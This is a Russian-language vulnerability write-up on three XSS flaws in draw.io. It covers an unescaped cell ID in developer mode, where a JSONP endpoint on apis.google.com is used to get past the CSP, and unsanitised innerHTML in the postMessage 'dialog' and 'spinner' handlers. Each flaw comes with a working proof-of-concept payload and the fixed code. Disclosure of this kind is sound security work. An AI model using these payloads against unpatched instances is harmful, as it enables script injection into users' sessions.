Это три XSS в версиях 2024 года. Такие версии встречаются на пути, но о них нигде не сказано.
В режиме разработчика (параметр ?dev=1) при наведении на ячейку нет фильтра для ID (github):
tip += ((tip.length > 0) ? '
' : '') + 'id=' + cell.id + '
';Но проблема в том, что в этом режиме добавляется Content Security Policy (CSP):
script-src https://www.dropbox.com https://api.trello.com 'unsafe-eval' 'self' https://viewer.diagrams.net https://apis.google.com https://*.pusher.comПоэтому события (on*event*) не работают, только скрипты из указанных доменов.
Но на apis.google.com есть же JSONP для этого: /complete/search?client=chrome&q=alert(origin)//&callback=setTimeout
И так как используется innerHTML, то для внедрения нагрузки нужно script[src] запихивать в iframe[srcdoc] (заметка об этом).
Итого имеем что-то подобное:
<mxCell id="<iframe srcdoc='<script src="https://apis.google.com/complete/search?client=chrome&q=alert(origin)//&callback=setTimeout"></script>'></iframe>" /> Исправлено в версии v24.7.16: tip += ((tip.length > 0) ? '
' : '') + 'id=' + mxUtils.htmlEntities(cell.id) + '
';Далее похожие XSS не требующие никаких действий от пользователя.
Если открыть draw.io с параметрами ?client=1&proto=json, то появляется возможность взаимодействовать с этим окном с помощью сообщений (postMessage).
При сообщении data.action == 'dialog' и существовании messageKey нет преобразований в сущности:
(data.messageKey != null) ? mxResources.get(data.messageKey) : mxUtils.htmlEntities(data.message)А mxResources.get возвращает текущее значение если не найдены данные по этому ключу. Далее это сообщение выводится через функцию ErrorDialog в которой голый innerHTML (github):
p2.innerHTML = message;Вот и посылаем этому окну нашу нагрузку:
postMessage('{"action":"dialog","titleKey":"ALERT","messageKey":"<img/src/onerror=alert(origin)>"}','*')Исправлено в версии v23.1.5:
p2.innerHTML = Graph.sanitizeHtml(message);Почти то же самое что и предыдущая XSS. Но сообщение другое: data.action == 'spinner'.
Здесь вообще нет никаких преобразований для любого значения:
(data.messageKey != null) ? mxResources.get(data.messageKey) : data.message;А в показе спиннера такой же innerHTML без фильтров (github):
status.innerHTML = label;Итого имеем такие сообщения:
postMessage('{"action":"spinner","messageKey":"<img/src/onerror=alert(origin)>"}','*')\npostMessage('{"action":"spinner","message":"<img/src/onerror=alert(origin)>"}','*')Исправлено в версии v23.1.0:
status.innerHTML = mxUtils.htmlEntities(label);